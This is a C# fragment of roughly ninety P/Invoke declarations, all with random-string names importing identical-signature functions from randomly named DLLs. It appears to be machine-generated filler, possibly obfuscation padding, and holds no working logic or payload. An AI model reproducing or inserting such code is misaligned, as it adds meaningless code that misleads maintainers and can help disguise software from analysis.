  public static extern byte[] loJlpEOjwjWxUSuctfjKjuoHE(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string OkrydqpGJMEcrkUDFZCHURz,
    string[] NmmOWjLeKizazLFXHdNYea,
    char lDRZakIDghOVnvlRMNLQC);

  [DllImport("mzbvayQcROIaXtdouqCTUprB.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IPgHGWMPGfInlTIcSJXhQQDDe(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string YFiyflFNChddbgSLSwXJYcf,
    string[] XvZEnjYsiZnxggTGhEQeMd,
    char PTsheYqnLgFLHTWkGIRbV);

  [DllImport("EloJlpEOjwjWxUSuctfjKjuo.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] yPhCVPFkttsxibiNaZpsvnMbU(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string HEbwVOKVmBWKUrmQRxSXfVB,
    string[] KKJOkrydqpGJMEcrkUDFZC,
    char HURzNmmOWjLeKizazLFXH);

  [DllImport("CIPgHGWMPGfInlTIcSJXhQQD.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dNYealDRZakIDghOVnvlRMNLQ(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string DemzbvayQcROIaXtdouqCTU,
    string[] prBYFiyflFNChddbgSLSwX,
    char JYcfXvZEnjYsiZnxggTGh);

  [DllImport("VyPhCVPFkttsxibiNaZpsvnM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] EQeMdPTsheYqnLgFLHTWkGIRb(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string bUEloJlpEOjwjWxUSuctfjK,
    string[] juoHEbwVOKVmBWKUrmQRxS,
    char XfVBKKJOkrydqpGJMEcrk);

  [DllImport("HdNYealDRZakIDghOVnvlRMN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UDFZCHURzNmmOWjLeKizazLFX(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string LQCIPgHGWMPGfInlTIcSJXh,
    string[] QQDDemzbvayQcROIaXtdou,
    char qCTUprBYFiyflFNChddbg);

  [DllImport("hEQeMdPTsheYqnLgFLHTWkGI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] SLSwXJYcfXvZEnjYsiZnxggTG(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string RbVyPhCVPFkttsxibiNaZps,
    string[] vnMbUEloJlpEOjwjWxUSuc,
    char tfjKjuoHEbwVOKVmBWKUr);

  [DllImport("kUDFZCHURzNmmOWjLeKizazL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mQRxSXfVBKKJOkrydqpGJMEcr(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string FXHdNYealDRZakIDghOVnvl,
    string[] RMNLQCIPgHGWMPGfInlTIc,
    char SJXhQQDDemzbvayQcROIa);

  [DllImport("gSLSwXJYcfXvZEnjYsiZnxgg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] XtdouqCTUprBYFiyflFNChddb(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string TGhEQeMdPTsheYqnLgFLHTW,
    string[] kGIRbVyPhCVPFkttsxibiN,
    char aZpsvnMbUEloJlpEOjwjW);

  [DllImport("rmQRxSXfVBKKJOkrydqpGJME.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] xUSuctfjKjuoHEbwVOKVmBWKU(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string crkUDFZCHURzNmmOWjLeKiz,
    string[] azLFXHdNYealDRZakIDghO,
    char VnvlRMNLQCIPgHGWMPGfI);

  [DllImport("aXtdouqCTUprBYFiyflFNChd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] nlTIcSJXhQQDDemzbvayQcROI(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string dbgSLSwXJYcfXvZEnjYsiZn,
    string[] xggTGhEQeMdPTsheYqnLgF,
    char LHTWkGIRbVyPhCVPFktts);

  [DllImport("WxUSuctfjKjuoHEbwVOKVmBW.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] xibiNaZpsvnMbUEloJlpEOjwj(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string KUrmQRxSXfVBKKJOkrydqpG,
    string[] JMEcrkUDFZCHURzNmmOWjL,
    char eKizazLFXHdNYealDRZak);

  [DllImport("InlTIcSJXhQQDDemzbvayQcR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IDghOVnvlRMNLQCIPgHGWMPGf(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string OIaXtdouqCTUprBYFiyflFN,
    string[] ChddbgSLSwXJYcfXvZEnjY,
    char siZnxggTGhEQeMdPTsheY);

  [DllImport("sxibiNaZpsvnMbUEloJlpEOj.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qnLgFLHTWkGIRbVyPhCVPFktt(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string wjWxUSuctfjKjuoHEbwVOKV,
    string[] mBWKUrmQRxSXfVBKKJOkry,
    char dqpGJMEcrkUDFZCHURzNm);

  [DllImport("kIDghOVnvlRMNLQCIPgHGWMP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mOWjLeKizazLFXHdNYealDRZa(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string GfInlTIcSJXhQQDDemzbvay,
    string[] QcROIaXtdouqCTUprBYFiy,
    char flFNChddbgSLSwXJYcfXv);

  [DllImport("YqnLgFLHTWkGIRbVyPhCVPFk.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZEnjYsiZnxggTGhEQeMdPTshe(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string ttsxibiNaZpsvnMbUEloJlp,
    string[] EOjwjWxUSuctfjKjuoHEbw,
    char VOKVmBWKUrmQRxSXfVBKK);

  [DllImport("mmOWjLeKizazLFXHdNYealDR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] JOkrydqpGJMEcrkUDFZCHURzN(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string ZakIDghOVnvlRMNLQCIPgHG,
    string[] WMPGfInlTIcSJXhQQDDemz,
    char bvayQcROIaXtdouqCTUpr);

  [DllImport("vZEnjYsiZnxggTGhEQeMdPTs.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BYFiyflFNChddbgSLSwXJYcfX(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string heYqnLgFLHTWkGIRbVyPhCV,
    string[] PFkttsxibiNaZpsvnMbUEl,
    char oJlpEOjwjWxUSuctfjKju);

  [DllImport("KJOkrydqpGJMEcrkUDFZCHUR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oHEbwVOKVmBWKUrmQRxSXfVBK(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string zNmmOWjLeKizazLFXHdNYea,
    string[] lDRZakIDghOVnvlRMNLQCI,
    char PgHGWMPGfInlTIcSJXhQQ);

  [DllImport("rBYrVkRXqyoUPQOTEwEiJuLO.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DDemzbvayQcROIaXtdouqCTUp(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string RJiLpaVKeVMZkTSGrTpCQxP,
    string[] BFfTRLdawTrwtFIXstDNIl,
    char BUnHCqWfgejUNUyMLbfhZ);

  [DllImport("hbtqNjIzvIYnJwGdYCEkEKSH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] yOGqYauXcqBViWIjGFgOfSWvW(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string mvwuzXelPcbrvxpPeWHoqMo,
    string[] sHDlzYZzJVxRwUmMmxrKsQ,
    char zKQMYoELNWtoSUBHaiYEy);

  [DllImport("CppQZlOhNkDPDBuNKgQagcoG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] yxDnuCSsrIxBsRuZXFtOFvJTD(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string HcdmKrVkRXqyoUPQOTEwEiJ,
    string[] uLORJiLpaVKeVMZkTSGrTp,
    char CQxPBFfTRLdawTrwtFIXs);

  [DllImport("ZyOGqYauXcqBViWIjGFgOfSW.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] tDNIlBUnHCqWfgejUNUyMLbfh(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string vWhbtqNjIzvIYnJwGdYCEkE,
    string[] KSHmvwuzXelPcbrvxpPeWH,
    char oqMosHDlzYZzJVxRwUmMm);

  [DllImport("yyxDnuCSsrIxBsRuZXFtOFvJ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] xrKsQzKQMYoELNWtoSUBHaiYE(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string TDCppQZlOhNkDPDBuNKgQag,
    string[] coGHcdmKrVkRXqyoUPQOTE,
    char wEiJuLORJiLpaVKeVMZkT);

  [DllImport("stDNIlBUnHCqWfgejUNUyMLb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] SGrTpCQxPBFfTRLdawTrwtFIX(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string fhZyOGqYauXcqBViWIjGFgO,
    string[] fSWvWhbtqNjIzvIYnJwGdY,
    char CEkEKSHmvwuzXelPcbrvx);

  [DllImport("mxrKsQzKQMYoELNWtoSUBHai.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] pPeWHoqMosHDlzYZzJVxRwUmM(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string YEyyxDnuCSsrIxBsRuZXFtO,
    string[] FvJTDCppQZlOhNkDPDBuNK,
    char gQagcoGHcdmKrVkRXqyoU);

  [DllImport("TSGrTpCQxPBFfTRLdawTrwtF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PQOTEwEiJuLORJiLpaVKeVMZk(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string IXstDNIlBUnHCqWfgejUNUy,
    string[] MLbfhZyOGqYauXcqBViWIj,
    char GFgOfSWvWhbtqNjIzvIYn);

  [DllImport("xpPeWHoqMosHDlzYZzJVxRwU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] JwGdYCEkEKSHmvwuzXelPcbrv(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string mMmxrKsQzKQMYoELNWtoSUB,
    string[] HaiYEyyxDnuCSsrIxBsRuZ,
    char XFtOFvJTDCppQZlOhNkDP);

  [DllImport("UPQOTEwEiJuLORJiLpaVKeVM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DBuNKgQagcoGHcdmKrVkRXqyo(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string ZkTSGrTpCQxPBFfTRLdawTr,
    string[] wtFIXstDNIlBUnHCqWfgej,
    char UNUyMLbfhZyOGqYauXcqB);

  [DllImport("nJwGdYCEkEKSHmvwuzXelPcb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ViWIjGFgOfSWvWhbtqNjIzvIY(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string rvxpPeWHoqMosHDlzYZzJVx,
    string[] RwUmMmxrKsQzKQMYoELNWt,
    char oSUBHaiYEyyxDnuCSsrIx);

  [DllImport("PDBuNKgQagcoGHcdmKrVkRXq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BsRuZXFtOFvJTDCppQZlOhNkD(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string yoUPQOTEwEiJuLORJiLpaVK,
    string[] eVMZkTSGrTpCQxPBFfTRLd,
    char awTrwtFIXstDNIlBUnHCq);

  [DllImport("BViWIjGFgOfSWvWhbtqNjIzv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] WfgejUNUyMLbfhZyOGqYauXcq(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string IYnJwGdYCEkEKSHmvwuzXel,
    string[] PcbrvxpPeWHoqMosHDlzYZ,
    char zJVxRwUmMmxrKsQzKQMYo);

  [DllImport("xBsRuZXFtOFvJTDCppQZlOhN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ELNWtoSUBHaiYEyyxDnuCSsrI(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string kDPDBuNKgQagcoGHcdmKrVk,
    string[] RXqyoUPQOTEwEiJuLORJiL,
    char paVKeVMZkTSGrTpCQxPBF);

  [DllImport("qWfgejUNUyMLbfhZyOGqYauX.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fTRLdawTrwtFIXstDNIlBUnHC(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string cqBViWIjGFgOfSWvWhbtqNj,
    string[] IzvIYnJwGdYCEkEKSHmvwu,
    char zXelPcbrvxpPeWHoqMosH);

  [DllImport("oELNWtoSUBHaiYEyyxDnuCSs.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DlzYZzJVxRwUmMmxrKsQzKQMY(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string rIxBsRuZXFtOFvJTDCppQZl,
    string[] OhNkDPDBuNKgQagcoGHcdm,
    char KrVkRXqyoUPQOTEwEiJuL);

  [DllImport("FfTRLdawTrwtFIXstDNIlBUn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ORJiLpaVKeVMZkTSGrTpCQxPB(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string HCqWfgejUNUyMLbfhZyOGqY,
    string[] auXcqBViWIjGFgOfSWvWhb,
    char tqNjIzvIYnJwGdYCEkEKS);

  [DllImport("HDlzYZzJVxRwUmMmxrKsQzKQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HmvwuzXelPcbrvxpPeWHoqMos(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string MYoELNWtoSUBHaiYEyyxDnu,
    string[] CSsrIxBsRuZXFtOFvJTDCp,
    char pQZlOhNkDPDBuNKgQagco);

  [DllImport("LORJiLpaVKeVMZkTSGrTpCQx.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GHcdmKrVkRXqyoUPQOTEwEiJu(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string PBFfTRLdawTrwtFIXstDNIl,
    string[] BUnHCqWfgejUNUyMLbfhZy,
    char OGqYauXcqBViWIjGFgOfS);

  [DllImport("SHmvwuzXelPcbrvxpPeWHoqM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] WvWhbtqNjIzvIYnJwGdYCEkEK(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string osHDlzYZzJVxRwUmMmxrKsQ,
    string[] zKQMYoELNWtoSUBHaiYEyy,
    char xDnuCSsrIxBsRuZXFtOFv);

  [DllImport("oGHcdmKrVkRXqyoUPQOTEwEi.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] JTDCppQZlOhNkDPDBuNKgQagc(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string JuLORJiLpaVKeVMZkTSGrTp,
    string[] CQxPBFfTRLdawTrwtFIXst,
    char DNIlBUnHCqWfgejUNUyML);

  [DllImport("EIhITNfczVtlitLZuirQLnpW.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bfhZyzscKNhKOcmIVIuWsqTBS(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string qvEtZiihmJQXCPOehkcBQJs,
    string[] bdxaespYlLLmuHjDiHYyYj,
    char dvfClwDyKbpxyJgbFGmtM);

  [DllImport("hvGoobbDLYzTyXoBpmgyvSCN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UKpkljoZgnEfeukneEgLJrfBq(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string TParsOPZwdHXDKdkaGBCzFq,
    string[] jqVvhwBEuUwcMIwRHxMWFF,
    char reGboDkCnrRGDwPMjFdjf);

  [DllImport("xNRUMkzscKNhKOcmIVIuWsqT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] quJegpztXnGatndJSSRVHzHlx(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string BSEIhITNfczVtlitLZuirQL,
    string[] npWqvEtZiihmJQXCPOehkc,
    char BQJsbdxaespYlLLmuHjDi);

  [DllImport("MUKpkljoZgnEfeukneEgLJrf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HYyYjdvfClwDyKbpxyJgbFGmt(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string BqhvGoobbDLYzTyXoBpmgyv,
    string[] SCNTParsOPZwdHXDKdkaGB,
    char CzFqjqVvhwBEuUwcMIwRH);

  [DllImport("fquJegpztXnGatndJSSRVHzH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] xMWFFreGboDkCnrRGDwPMjFdj(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string lxxNRUMkzscKNhKOcmIVIuW,
    string[] sqTBSEIhITNfczVtlitLZu,
    char irQLnpWqvEtZiihmJQXCP);

  [DllImport("iHYyYjdvfClwDyKbpxyJgbFG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OehkcBQJsbdxaespYlLLmuHjD(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string mtMUKpkljoZgnEfeukneEgL,
    string[] JrfBqhvGoobbDLYzTyXoBp,
    char mgyvSCNTParsOPZwdHXDK);

  [DllImport("HxMWFFreGboDkCnrRGDwPMjF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dkaGBCzFqjqVvhwBEuUwcMIwR(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string djfquJegpztXnGatndJSSRV,
    string[] HzHlxxNRUMkzscKNhKOcmI,
    char VIuWsqTBSEIhITNfczVtl);

  [DllImport("POehkcBQJsbdxaespYlLLmuH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] itLZuirQLnpWqvEtZiihmJQXC(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string jDiHYyYjdvfClwDyKbpxyJg,
    string[] bFGmtMUKpkljoZgnEfeukn,
    char eEgLJrfBqhvGoobbDLYzT);

  [DllImport("KdkaGBCzFqjqVvhwBEuUwcMI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] yXoBpmgyvSCNTParsOPZwdHXD(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string wRHxMWFFreGboDkCnrRGDwP,
    string[] MjFdjfquJegpztXnGatndJ,
    char SSRVHzHlxxNRUMkzscKNh);

  [DllImport("litLZuirQLnpWqvEtZiihmJQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] KOcmIVIuWsqTBSEIhITNfczVt(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string XCPOehkcBQJsbdxaespYlLL,
    string[] muHjDiHYyYjdvfClwDyKbp,
    char xyJgbFGmtMUKpkljoZgnE);

  [DllImport("TyXoBpmgyvSCNTParsOPZwdH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] feukneEgLJrfBqhvGoobbDLYz(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string XDKdkaGBCzFqjqVvhwBEuUw,
    string[] cMIwRHxMWFFreGboDkCnrR,
    char GDwPMjFdjfquJegpztXnG);

  [DllImport("hKOcmIVIuWsqTBSEIhITNfcz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] atndJSSRVHzHlxxNRUMkzscKN(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string VtlitLZuirQLnpWqvEtZiih,
    string[] mJQXCPOehkcBQJsbdxaesp,
    char YlLLmuHjDiHYyYjdvfClw);

  [DllImport("EfeukneEgLJrfBqhvGoobbDL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DyKbpxyJgbFGmtMUKpkljoZgn(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string YzTyXoBpmgyvSCNTParsOPZ,
    string[] wdHXDKdkaGBCzFqjqVvhwB,
    char EuUwcMIwRHxMWFFreGboD);

  [DllImport("GatndJSSRVHzHlxxNRUMkzsc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] kCnrRGDwPMjFdjfquJegpztXn(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string KNhKOcmIVIuWsqTBSEIhITN,
    string[] fczVtlitLZuirQLnpWqvEt,
    char ZiihmJQXCPOehkcBQJsbd);

  [DllImport("wDyKbpxyJgbFGmtMUKpkljoZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] xaespYlLLmuHjDiHYyYjdvfCl(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string gnEfeukneEgLJrfBqhvGoob,
    string[] bDLYzTyXoBpmgyvSCNTPar,
    char sOPZwdHXDKdkaGBCzFqjq);

  [DllImport("DkCnrRGDwPMjFdjfquJegpzt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] VvhwBEuUwcMIwRHxMWFFreGbo(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string XnGatndJSSRVHzHlxxNRUMk,
    string[] zscKNhKOcmIVIuWsqTBSEI,
    char hITNfczVtlitLZuirQLnp);

  [DllImport("dxaespYlLLmuHjDiHYyYjdvf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] WqvEtZiihmJQXCPOehkcBQJsb(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string ClwDyKbpxyJgbFGmtMUKpkl,
    string[] joZgnEfeukneEgLJrfBqhv,
    char GoobbDLYzTyXoBpmgyvSC);

  [DllImport("qVvhwBEuUwcMIwRHxMWFFreG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NTParsOPZwdHXDKdkaGBCzFqj(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string boDkCnrRGDwPMjFdjfquJeg,
    string[] pztXnGatndJSSRVHzHlxxN,
    char RUMkzscKNhKOcmIVIuWsq);

  [DllImport("pWqvEtZiihmJQXCPOehkcBQJ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] TBSEIhITNfczVtlitLZuirQLn(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string sbdxaespYlLLmuHjDiHYyYj,
    string[] dvfClwDyKbpxyJgbFGmtMU,
    char KpkljoZgnEfeukneEgLJr);

  [DllImport("CNTParsOPZwdHXDKdkaGBCzF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fBqhvGoobbDLYzTyXoBpmgyvS(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string qjqVvhwBEuUwcMIwRHxMWFF,
    string[] reGboDkCnrRGDwPMjFdjfq,
    char uJegpztXnGatndJSSRVHz);

  [DllImport("qTBSEIhITNfczVtlitLZuirQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HlxxNRUMkzscKNhKOcmIVIuWs(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string LnpWqvEtZiihmJQXCPOehkc,
    string[] BQJsbdxaespYlLLmuHjDiH,
    char YyYjdvfClwDyKbpxyJgbF);

  [DllImport("rfBqhvGoobbDLYzTyXoBpmgy.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GmtMUKpkljoZgnEfeukneEgLJ(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string vSCNTParsOPZwdHXDKdkaGB,
    string[] CzFqjqVvhwBEuUwcMIwRHx,
    char MWFFreGboDkCnrRGDwPMj);

  [DllImport("zHlxxNRUMkzscKNhKOcmIVIu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FdjfquJegpztXnGatndJSSRVH(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string WsqTBSEIhITNfczVtlitLZu,
    string[] irQLnpWqvEtZiihmJQXCPO,
    char ehkcBQJsbdxaespYlLLmu);

  [DllImport("FGmtMUKpkljoZgnEfeukneEg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HjDiHYyYjdvfClwDyKbpxyJgb(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string LJrfBqhvGoobbDLYzTyXoBp,
    string[] mgyvSCNTParsOPZwdHXDKd,
    char kaGBCzFqjqVvhwBEuUwcM);

  [DllImport("jFdjfquJegpztXnGatndJSSR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IwRHxMWFFreGboDkCnrRGDwPM(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string VHzHlxxNRUMkzscKNhKOcmI,
    string[] VIuWsqTBSEIhITNfczVtli,
    char tLZuirQLnpWqvEtZiihmJ);

  [DllImport("uHjDiHYyYjdvfClwDyKbpxyJ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QXCPOehkcBQJsbdxaespYlLLm(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string gbFGmtMUKpkljoZgnEfeukn,
    string[] eEgLJrfBqhvGoobbDLYzTy,
    char XoBpmgyvSCNTParsOPZwd);

  [DllImport("MIwRHxMWFFreGboDkCnrRGDw.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HXDKdkaGBCzFqjqVvhwBEuUwc(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string PMjFdjfquJegpztXnGatndJ,
    string[] SSRVHzHlxxNRUMkzscKNhK,
    char OcmIVIuWsqTBSEIhITNfc);

  [DllImport("JQXCPOehkcBQJsbPjMRfbKXw.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zVtlitLZuirQLnpWqvEtZiihm(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string xYhtWpUsLkLWQiRoYiokwNc,
    string[] jluSNqsZfyHvcXXWbMTaqR,
    char QgWZRpTxvdSmdUhraaOOo);

  [DllImport("QtJpvPXNsnnmrcVcHhTjmphG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] xKmGlJbnbYSkhFoyFBNdezCLi(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string jOxtiDtkxIrqeQrOaoWnZdE,
    string[] rpjCyVqQVRdgvRSblgKZsM,
    char faPuEFDIslsXkjzEGxXme);

  [DllImport("PlIgYUgwMhVeCwacJciqfLUV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PwyTvBOZtHugIedFmEptUuGzS(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string TYvCKnBzQUWOnDufNPjMRfb,
    string[] KXwxYhtWpUsLkLWQiRoYio,
    char kwNcjluSNqsZfyHvcXXWb);

  [DllImport("oxKmGlJbnbYSkhFoyFBNdezC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MTaqRQgWZRpTxvdSmdUhraaOO(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string LiQtJpvPXNsnnmrcVcHhTjm,
    string[] phGjOxtiDtkxIrqeQrOaoW,
    char nZdErpjCyVqQVRdgvRSbl);

  [DllImport("ePwyTvBOZtHugIedFmEptUuG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] gKZsMfaPuEFDIslsXkjzEGxXm(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string zSPlIgYUgwMhVeCwacJciqf,
    string[] LUVTYvCKnBzQUWOnDufNPj,
    char MRfbKXwxYhtWpUsLkLWQi);

  [DllImport("bMTaqRQgWZRpTxvdSmdUhraa.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RoYiokwNcjluSNqsZfyHvcXXW(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string OOoxKmGlJbnbYSkhFoyFBNd,
    string[] ezCLiQtJpvPXNsnnmrcVcH,
    char hTjmphGjOxtiDtkxIrqeQ);

  [DllImport("lgKZsMfaPuEFDIslsXkjzEGx.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rOaoWnZdErpjCyVqQVRdgvRSb(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string XmePwyTvBOZtHugIedFmEpt,
    string[] UuGzSPlIgYUgwMhVeCwacJ,
    char ciqfLUVTYvCKnBzQUWOnD);

  [DllImport("iRoYiokwNcjluSNqsZfyHvcX.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ufNPjMRfbKXwxYhtWpUsLkLWQ(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string XWbMTaqRQgWZRpTxvdSmdUh,
    string[] raaOOoxKmGlJbnbYSkhFoy,
    char FBNdezCLiQtJpvPXNsnnm);

  [DllImport("QrOaoWnZdErpjCyVqQVRdgvR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rcVcHhTjmphGjOxtiDtkxIrqe(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string SblgKZsMfaPuEFDIslsXkjz,
    string[] EGxXmePwyTvBOZtHugIedF,
    char mEptUuGzSPlIgYUgwMhVe);

  [DllImport("DufNPjMRfbKXwxYhtWpUsLkL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CwacJciqfLUVTYvCKnBzQUWOn(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string WQiRoYiokwNcjluSNqsZfyH,
    string[] vcXXWbMTaqRQgWZRpTxvdS,
    char mdUhraaOOoxKmGlJbnbYS);

